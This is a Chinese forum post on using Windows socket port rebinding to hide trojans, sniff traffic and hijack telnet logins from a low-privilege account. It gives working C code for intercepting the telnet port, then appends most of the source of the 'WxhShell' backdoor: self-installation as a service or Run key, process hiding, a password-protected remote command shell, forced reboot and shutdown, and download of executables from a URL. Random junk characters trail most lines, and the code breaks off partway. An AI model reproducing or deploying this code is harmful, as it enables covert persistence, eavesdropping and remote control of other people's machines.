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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: fR'!p: ~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H@$K /  
lX"m |W  
  saddr.sin_family = AF_INET; 8#Z)qQWi_t  
@SiV3k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0a8\{(w  
h-;> v.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); S#B%[3@  
x$n.\`f0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 izaqEz  
3HYdb|y  
  这意味着什么?意味着可以进行如下的攻击: a3\~AO H%  
,IqE<i!U  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !&g_hmnIF  
3Wbd=^hRvq  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) V4ePYud;^  
n_RZ:<Gr  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t=@d`s:R2  
kc P ZIP:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  W)/f5[L  
9< 07# 8c.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e@0|fB%2  
knG:6tQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O TlqJ  
oST)E5X;7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 eLORG(;h4  
@-\=`#C**  
  #include xZ;eV76  
  #include <Z3C&BM  
  #include ~K3Lbd| r  
  #include    {nUmlP=mS  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^\Q,ACkZb  
  int main() xt pY*  
  { 1v.#ndk  
  WORD wVersionRequested; YtSYe%  
  DWORD ret; |gP)lR  
  WSADATA wsaData; *P/A&"i[E  
  BOOL val; l9=Ka{$^*  
  SOCKADDR_IN saddr; S|k@D2k=  
  SOCKADDR_IN scaddr; 9ck"JMla  
  int err; Dbj?l;'1  
  SOCKET s; &ZC{ _t  
  SOCKET sc; $fD%18  
  int caddsize; ro<w8V9.a  
  HANDLE mt; ^" g?m  
  DWORD tid;   ciml:"nQ  
  wVersionRequested = MAKEWORD( 2, 2 ); m)pHCS  
  err = WSAStartup( wVersionRequested, &wsaData ); ?;`GCE  
  if ( err != 0 ) { !wpK +.D  
  printf("error!WSAStartup failed!\n"); R(^Sse  
  return -1; __$;Z  
  } =UK:83R(  
  saddr.sin_family = AF_INET; s-Yu(X2  
   5~DKx7P!Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !9$}1_,is  
UMd.=HC L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t!/~_}eDJ  
  saddr.sin_port = htons(23); gsM$VaF(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ay qs~&{  
  { b' M"To@  
  printf("error!socket failed!\n"); 1<#D3CXK  
  return -1; Qfy_@w]  
  } GiuE\J9i  
  val = TRUE; Y96<c" t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4 5.g;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r5hkxk'  
  { a1I-d=]  
  printf("error!setsockopt failed!\n"); z5iCQ4C<  
  return -1; T>| hID  
  } vqf}(/.D  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4+ d(d  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N-F&=u}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 k}<H  
3Q62H+MC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) JC~sz^>p\  
  { @Nh}^D >j  
  ret=GetLastError(); CckfoJ 9  
  printf("error!bind failed!\n"); b~>@x{  
  return -1; DPW^OgL;  
  } L9Zz-Dr s  
  listen(s,2); 5TuwXz1v  
  while(1) ATc!c +  
  { jmq^98jB  
  caddsize = sizeof(scaddr); }\8-&VoY#X  
  //接受连接请求 ~gZ1*8 s`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |?0MRX0'g  
  if(sc!=INVALID_SOCKET) WQVU 82b*  
  { %4x0^<k~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); l{8O'4;  
  if(mt==NULL) |-{ Hy(9  
  { <`vXyPA6  
  printf("Thread Creat Failed!\n"); dT7f yn  
  break; `g1?Q4h  
  } |-/@3gPO  
  } 58#nYt  
  CloseHandle(mt); H*<E5^#dw  
  } S#p_Y^A  
  closesocket(s); _ti^i\8~  
  WSACleanup(); R>:D&$[RD  
  return 0; !WlL RkwO  
  }   _I'k&R  
  DWORD WINAPI ClientThread(LPVOID lpParam) Z7y%  
  { ; t9_*)[  
  SOCKET ss = (SOCKET)lpParam; NkGtZ.!pk  
  SOCKET sc; ShV_8F z  
  unsigned char buf[4096]; _/P;`@  
  SOCKADDR_IN saddr; I'{Ctc  
  long num; Ex_dqko  
  DWORD val; X~o;jJC  
  DWORD ret; =>'j_|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 '*`n"cC:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   WixEnsJ  
  saddr.sin_family = AF_INET; SbL7e#!!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  Y~^R^J  
  saddr.sin_port = htons(23); dly -mPmP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X_ Lt{mf  
  { 4<1V  
  printf("error!socket failed!\n"); kl1Q:  
  return -1; N,9~J"z  
  } sEw ?349Bz  
  val = 100; uInI{>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3My}u>  
  { H[pvC=O=  
  ret = GetLastError(); 0lq?l:/  
  return -1; q%A>q ;l:  
  } Moi RAO  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PW"?* ~&  
  { ^oq|^O  
  ret = GetLastError(); &l-d_dh  
  return -1; G^L9[c= ,  
  } DrBkR` a?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c@]G;>o  
  { o(v7&m;  
  printf("error!socket connect failed!\n"); ]-X\n  
  closesocket(sc); >N`, 3;Z  
  closesocket(ss); U m`KmM3  
  return -1; n2c(x\DA&  
  } # E8?2]  
  while(1) I-J%yutB  
  { 5mudww`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :TnU}i_/h  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _Y6Ezh.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n@C#,v#^0  
  num = recv(ss,buf,4096,0); NX;{L#lQ  
  if(num>0) Pq-@waH3  
  send(sc,buf,num,0); b=WkRj  
  else if(num==0) jt3W.^6HO  
  break; |D'!.$7%  
  num = recv(sc,buf,4096,0); #t# S(A9)  
  if(num>0) l.}gWN9-  
  send(ss,buf,num,0); RJT55Rv{  
  else if(num==0) _m#TL60m  
  break; b-c6.aKf|  
  } .OW5R*  
  closesocket(ss); >: @\SU  
  closesocket(sc); #:MoZw`rlw  
  return 0 ; %2G3+T8*x  
  } _\,4h2(  
vKkvB;F41  
D[YdPg@-  
========================================================== P=9sP:[f6  
<P Vmr2Jp"  
下边附上一个代码,,WXhSHELL hSh^A5 /  
>Ij# +=  
========================================================== H3JDA^5  
8L@@UUjr  
#include "stdafx.h" AMK3I`=8WO  
= j l( Q  
#include <stdio.h> ,~K4+ t_  
#include <string.h> }4Gn$'e  
#include <windows.h> AZJ|.mV q  
#include <winsock2.h> Z3Xgi~c  
#include <winsvc.h> `E>o:tff  
#include <urlmon.h> T?-K}PUcQ  
% <%r  
#pragma comment (lib, "Ws2_32.lib") Hu!<GB~  
#pragma comment (lib, "urlmon.lib") <&t[E0mU  
Tl^)O^/  
#define MAX_USER   100 // 最大客户端连接数 .d4&s7n0  
#define BUF_SOCK   200 // sock buffer kw1Lm1C  
#define KEY_BUFF   255 // 输入 buffer z`8>$9  
WMoRosL74  
#define REBOOT     0   // 重启 rN {5^+w  
#define SHUTDOWN   1   // 关机 ia-&?  
.Ag)/Xm(?  
#define DEF_PORT   5000 // 监听端口 baf@"P9@\A  
%U97{y  
#define REG_LEN     16   // 注册表键长度 ^DR`!.ttr  
#define SVC_LEN     80   // NT服务名长度 OadGwa\:s  
&gvX<X4e  
// 从dll定义API hN1{?PQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n]wZ7z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y3luU&'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^F/H?V/PX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~eGtoEY  
sJLJVSv8c  
// wxhshell配置信息 V ;M'd@  
struct WSCFG { `&A-m8X  
  int ws_port;         // 监听端口 {E>(%vD  
  char ws_passstr[REG_LEN]; // 口令 Y{m1\s/o  
  int ws_autoins;       // 安装标记, 1=yes 0=no gO! :WD  
  char ws_regname[REG_LEN]; // 注册表键名 E`3[62C  
  char ws_svcname[REG_LEN]; // 服务名 HG})V PBa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k5GJrK+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Gh{vExH@5(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 , @6_sl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no " 1$hfs  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mINir-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y3f2RdGl  
/ =:X,^"P  
}; <F5x}i~(C  
p4wXsOQ}  
// default Wxhshell configuration +p)kemJ~  
struct WSCFG wscfg={DEF_PORT, '\Hh  
    "xuhuanlingzhe", EWoGdH|  
    1, >PiEu->P,  
    "Wxhshell", B976{;QvXV  
    "Wxhshell", Z6r_T  
            "WxhShell Service", p\/;^c`7  
    "Wrsky Windows CmdShell Service", W-@}q}A  
    "Please Input Your Password: ", Z&0*\.6S~  
  1, Y+#Vz IZw  
  "http://www.wrsky.com/wxhshell.exe", :+\B|*T2.L  
  "Wxhshell.exe" c27A)`   
    }; rQPV@J]:  
$[8GFv  
// 消息定义模块 *b]$lj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |Orp:e!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AE 2>smp5@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8;]U:tv  
char *msg_ws_ext="\n\rExit."; '\.fG\xD  
char *msg_ws_end="\n\rQuit."; ~!a~ -:#  
char *msg_ws_boot="\n\rReboot..."; ^iaG>rvA  
char *msg_ws_poff="\n\rShutdown..."; Aaq!i*y  
char *msg_ws_down="\n\rSave to "; 8DP] C9  
F&x9.  
char *msg_ws_err="\n\rErr!"; jO#5ZhG  
char *msg_ws_ok="\n\rOK!"; k~ZE4^dM  
li?RymlF  
char ExeFile[MAX_PATH]; vEIDf{  
int nUser = 0; 7R`:^}'>  
HANDLE handles[MAX_USER]; 8n^v,s>  
int OsIsNt; >|22%YVX  
y0D="2)  
SERVICE_STATUS       serviceStatus; c31k%/.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c>%+y+b{  
*CtO Q  
// 函数声明 3jB5F0^r1  
int Install(void); %;|^*?!J0  
int Uninstall(void); Hjm  
int DownloadFile(char *sURL, SOCKET wsh);  0"_FQv  
int Boot(int flag); \]eB(&nq  
void HideProc(void); nT.2HQ((Xg  
int GetOsVer(void); HG/`5$L +}  
int Wxhshell(SOCKET wsl); d)&}% 2ku  
void TalkWithClient(void *cs); fH/J8<  
int CmdShell(SOCKET sock); AF}6O(C~  
int StartFromService(void); ^%V^\DK  
int StartWxhshell(LPSTR lpCmdLine); tGcp48R-:+  
bZ.q?Hlfk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ny:4L{)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t_PAXj  
}x^q?;7xW  
// 数据结构和表定义 *0GR }k  
SERVICE_TABLE_ENTRY DispatchTable[] =  <V-D  
{ Q$NT>d6Q  
{wscfg.ws_svcname, NTServiceMain}, WML%yO\.;  
{NULL, NULL} VgHVj)ir  
}; a.r+>44M  
+p:#$R)MW  
// 自我安装 al9L+ruR  
int Install(void) WxB}Uh  
{ I$7#Z!P6|  
  char svExeFile[MAX_PATH]; Ungex@s_  
  HKEY key; Q,# )  
  strcpy(svExeFile,ExeFile); _<`j?$P  
Bn 5]{Df  
// 如果是win9x系统,修改注册表设为自启动 GS %ACk  
if(!OsIsNt) { Ps@a@d"83  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h <s.o#8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &> Myf@  
  RegCloseKey(key); Gf(|?" H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p<w2e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p_x@FA(  
  RegCloseKey(key); %Y7\0q~Z  
  return 0; @pcmVsIp  
    } e_Ue9c.}  
  } Q:6i 3 Nr/  
} =.Tc l"O[  
else { Cy'0O>v5  
fO+$`r>9  
// 如果是NT以上系统,安装为系统服务 Oq-O|qJj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9"5J-a'  
if (schSCManager!=0) 3dlL?+Y#  
{ z@Klj qN  
  SC_HANDLE schService = CreateService tnv @`xBn  
  ( yHY \4OHS  
  schSCManager, :T62_cFG  
  wscfg.ws_svcname, t u )kWDk  
  wscfg.ws_svcdisp, #bz#&vt$  
  SERVICE_ALL_ACCESS, zGfF.q}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a^U)2{A*f  
  SERVICE_AUTO_START, \yIan<q  
  SERVICE_ERROR_NORMAL, k}xXja*  
  svExeFile, k E^%w?C  
  NULL, lr>P/W\  
  NULL, p ~/  
  NULL, s4RqY*VK  
  NULL, nH6Ny  
  NULL &!|'EW  
  ); i%M6$or  
  if (schService!=0) -@6R`m= >  
  { T*AXS|=ju  
  CloseServiceHandle(schService); ,4O|{Iu#n  
  CloseServiceHandle(schSCManager); ZtS>'W8l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _"b[U T}m  
  strcat(svExeFile,wscfg.ws_svcname); |@6t"P]@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Bu[sSoA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "iu9r%l94  
  RegCloseKey(key); `x{*P.]N!<  
  return 0; ULqFJ*nla  
    } wZ&l6J4L  
  } %\i OX|F_  
  CloseServiceHandle(schSCManager); JDp"!x{O  
} .uo9VL<  
} 6ol*$Q"z  
]Alv5?E60  
return 1; /2%646  
} ! MTmG/^  
T?4pV#  
// 自我卸载 %5?Zjp+9  
int Uninstall(void) 2=\} 0  
{ Mm&#I[:  
  HKEY key; 0Yzm\"Ggv  
`#/0q*$  
if(!OsIsNt) { l2Gtw*i_I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U=kP xe  
  RegDeleteValue(key,wscfg.ws_regname); 50< QF  
  RegCloseKey(key); r]sN I[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (_9u<  
  RegDeleteValue(key,wscfg.ws_regname); xF/u('A  
  RegCloseKey(key); \LN!k-c  
  return 0; C\3;o]  
  } C2X$bX"  
} 0~/'c0Ho  
} nzcXL =^r3  
else { qKSS 2f $  
3qlY=5Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eYpK!9  
if (schSCManager!=0) ;2k!KW@  
{ _~QiQDq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R^hlfKnt  
  if (schService!=0) yhuzjn  
  { DN$[rCi7  
  if(DeleteService(schService)!=0) { 3J3Yt`  
  CloseServiceHandle(schService); v@&UTU  
  CloseServiceHandle(schSCManager); TJO?BX_9  
  return 0;  l_2B  
  } a'Vz|S G  
  CloseServiceHandle(schService); 'vP"& lrn  
  } hy]8t1894  
  CloseServiceHandle(schSCManager); es6]c%o:t^  
} ;%ng])w=;  
} j*6>{_[  
~WW!P_wI,  
return 1; K!<3|d  
} X$Y\/|!z  
BwJL)$D<S  
// 从指定url下载文件 S^q%+Z  
int DownloadFile(char *sURL, SOCKET wsh) Ux!q(9<_  
{ YXlaE=9bn  
  HRESULT hr; y0R9[ ;b07  
char seps[]= "/"; {hH8+4c7  
char *token; yADX^r(  
char *file; 3+4U?~^k*  
char myURL[MAX_PATH]; Y(/y,bJ?jp  
char myFILE[MAX_PATH]; <9/?+)  
v[b|J7k  
strcpy(myURL,sURL); N|3a(mtiZ'  
  token=strtok(myURL,seps); _g]h \3  
  while(token!=NULL) wqasI@vyu  
  { tt03 gU`  
    file=token; ww5UQs2sn  
  token=strtok(NULL,seps); BGrV,h^  
  } n|'}W+  
:5-t$^R  
GetCurrentDirectory(MAX_PATH,myFILE); "MPr'3  
strcat(myFILE, "\\"); f{w[H S,z  
strcat(myFILE, file); wlEmy.)H  
  send(wsh,myFILE,strlen(myFILE),0); *JA0Vs 5  
send(wsh,"...",3,0); 89YG `  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l|S_10x5  
  if(hr==S_OK) 9&"wfN N  
return 0; (v0i]1ly[  
else ,c&%/"i:w  
return 1; C>*1f|<  
w gkY \Q  
} u|sdQ  
cq4sgQ?sW  
// 系统电源模块 N+zR7`AG8  
int Boot(int flag) v m.%)F#@  
{ }Sh3AH/  
  HANDLE hToken; Y?4N%c_;  
  TOKEN_PRIVILEGES tkp; +EvY-mwfQ  
THcX.%ToT  
  if(OsIsNt) { /_V4gwb}|-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *Xk gwJq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l~n=_R3  
    tkp.PrivilegeCount = 1; l}XnCOIT,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jMP;$w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (L,>P`CR6  
if(flag==REBOOT) { C4|H 5H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i{}Q5iy  
  return 0; 6Zmzo,{  
} `##^@N<P  
else { |HQFqa <  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '^`%  
  return 0; X8 x:/]/0  
} 9D @}(t !  
  } XSktb k  
  else { L[. )!c8k  
if(flag==REBOOT) { !U~S7h}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `e }6/~R`  
  return 0; DxzNg_E]  
} }3 S6TJ+  
else { >$_@p(w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S<Uv/pn  
  return 0; t}2M8ue(&  
} Z#flu Q%V  
} QV_Ep8  
|K'7BK_^J  
return 1; RO.bh#A$  
} 43/!pW  
VRvX^w0  
// win9x进程隐藏模块 7s2e> 6Q[  
void HideProc(void) P+(Ys[J3  
{ l/6(V:  
zF_aJ+i:~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iYl{V']A  
  if ( hKernel != NULL ) ? W2W y\  
  { E )%r}4u>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e%v0EJ},  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9I*i/fa  
    FreeLibrary(hKernel); DTM xfQdk  
  } 3R[,,WAj$  
m*\XH DB  
return; Kz9h{ Tu4  
} \j~LxV  
Yf[GpSej  
// 获取操作系统版本 X{;3gN  
int GetOsVer(void) 42 &m)  
{ R\>=}7  
  OSVERSIONINFO winfo; \ Q0-yNt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  #)28ESj  
  GetVersionEx(&winfo); "(^1Dm$(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OojQG  
  return 1; Y )9]I6n7  
  else a3(q;^v  
  return 0; tC'@yX  
} D3kx&AR  
`|g*T~; kC  
// 客户端句柄模块 l@nG?l #  
int Wxhshell(SOCKET wsl) Zmr*$,v<y  
{ e!|T Tap  
  SOCKET wsh; .LEn~ 8  
  struct sockaddr_in client; *XSHzoT*  
  DWORD myID; 7d'gG[Z^^  
1F58 2 l  
  while(nUser<MAX_USER) +]NPxUa  
{ pxO ?:B  
  int nSize=sizeof(client); 8A3!XA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oB]   
  if(wsh==INVALID_SOCKET) return 1; B;mt11M  
^q ?xi5 w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X4}Lg2ts  
if(handles[nUser]==0) c=A)_ZFg  
  closesocket(wsh); vW:XM0  
else ~R\Z&oQ  
  nUser++; KgMW  
  } =lqBRut  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^GN|}W  
y:N>t+'5  
  return 0; >"q~9b A  
} Kv26rY8Q  
v5!G/TZ1  
// 关闭 socket p 6FPdt)  
void CloseIt(SOCKET wsh) 9x0Ao*D<t  
{ -Y"'=zkO  
closesocket(wsh); WSPlM"h  
nUser--; G>fJ)A  
ExitThread(0); _N-JRM m<  
} PgYq=|]`  
zHsWj^m"  
// 客户端请求句柄 eTp}*'$p  
void TalkWithClient(void *cs) ]C me)&hX  
{ \.7O0Q{  
O-ZB4hN8  
  SOCKET wsh=(SOCKET)cs; &\0V*5tI  
  char pwd[SVC_LEN]; =Nj58l  
  char cmd[KEY_BUFF];  EL[N%M3  
char chr[1]; Ltt+BUJc  
int i,j; DlXthRM  
D9|?1+Kc  
  while (nUser < MAX_USER) { ADa'(#+6  
]JXpe]B  
if(wscfg.ws_passstr) { _+\hDV>v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mjd9]HgN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  FGP~^Dr/  
  //ZeroMemory(pwd,KEY_BUFF); -gP4| r8&  
      i=0; zkt+"P{az[  
  while(i<SVC_LEN) { LBlaDw  
<2Qh5umQ  
  // 设置超时 A S#D9o  
  fd_set FdRead; *qLOr6  
  struct timeval TimeOut; h*qoe(+ZD  
  FD_ZERO(&FdRead); O!(FNv0  
  FD_SET(wsh,&FdRead); |$vhu`]Z@^  
  TimeOut.tv_sec=8; n?QpVROo\  
  TimeOut.tv_usec=0; cQaEh1n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jR^>xp;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i*JbFukG  
3ee?B~Tun  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ms%Ot:uA  
  pwd=chr[0]; Wkk=x&  
  if(chr[0]==0xd || chr[0]==0xa) { 3??*G8Yp  
  pwd=0; [akyCb  
  break; OudD1( )W  
  } h%Nbx:vKk  
  i++; o.}?K>5  
    } Hset(-=X  
'ErtiD  
  // 如果是非法用户,关闭 socket bm{L6D E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6' M"-9?G  
} E6-alBi%  
Z' 0Gd@/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G B+U>nf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L7jMpz&  
&\\iD :J  
while(1) { 7^bO`  
S? }@2[  
  ZeroMemory(cmd,KEY_BUFF); {.We%{4V  
a; Ihv#q  
      // 自动支持客户端 telnet标准    KUfk5Y  
  j=0; EiY i<Z_S  
  while(j<KEY_BUFF) { %^=fjJGV{~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vXnTPjbE  
  cmd[j]=chr[0]; lA39$oJ  
  if(chr[0]==0xa || chr[0]==0xd) { ,/\%-u? 1x  
  cmd[j]=0; =;{vfjj  
  break; K5Fzmo a  
  } Kfc(GL?  
  j++; ^P-!pK*  
    } ;bd\XHwMUP  
P X](hc=  
  // 下载文件 HF wT  
  if(strstr(cmd,"http://")) { zxCxGT\;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bQk5R._got  
  if(DownloadFile(cmd,wsh)) J=/|iW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :yvUHx  
  else &X^~%\F:2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R|{6JsjG10  
  } FuaGr0]  
  else { WK#lE&V3  
^HKxaW9W  
    switch(cmd[0]) { uJG^>B?`b  
  4qjY,QJ  
  // 帮助 <;x+ ?j  
  case '?': { ;W#G<M&n'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MC3XGnT#5  
    break; l\5qa_{z  
  } u=#!je  
  // 安装 udg;jR-^  
  case 'i': { qO>BF/)a(  
    if(Install()) 2P9hx5PiV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G:' -|h  
    else lXm]1 *<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #(CI/7 -  
    break; }(J6zo9(x  
    } g{l;v  
  // 卸载 f&^K>Jt1@#  
  case 'r': { ? Z8_(e0U  
    if(Uninstall()) TA}gCXE e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g9I2SdaJ  
    else L4S Fu.J'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p=9G)VO  
    break; Z/hSH 0(~  
    } wamqeb{u  
  // 显示 wxhshell 所在路径 X>F/0/  
  case 'p': { Tb}`]Y`X  
    char svExeFile[MAX_PATH]; yYWGM  
    strcpy(svExeFile,"\n\r"); IcPIOCmOc  
      strcat(svExeFile,ExeFile); rtf>\j+  
        send(wsh,svExeFile,strlen(svExeFile),0); ykl./uY'  
    break; E'Egc4Z2=l  
    } yBauK-7*c  
  // 重启 F:IG3 @  
  case 'b': { @?*26}qp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fVo)# Bj  
    if(Boot(REBOOT)) l[Ng8[R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tp[ub(/;7  
    else { ) #Y*]  
    closesocket(wsh); X,x{!  
    ExitThread(0); ZxbWgM5rm  
    } nd_d tsp#  
    break; InNuK0@  
    } im%'S6_X4  
  // 关机 K!HSQ,AC  
  case 'd': { z9&$Xao  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 398}a!XM  
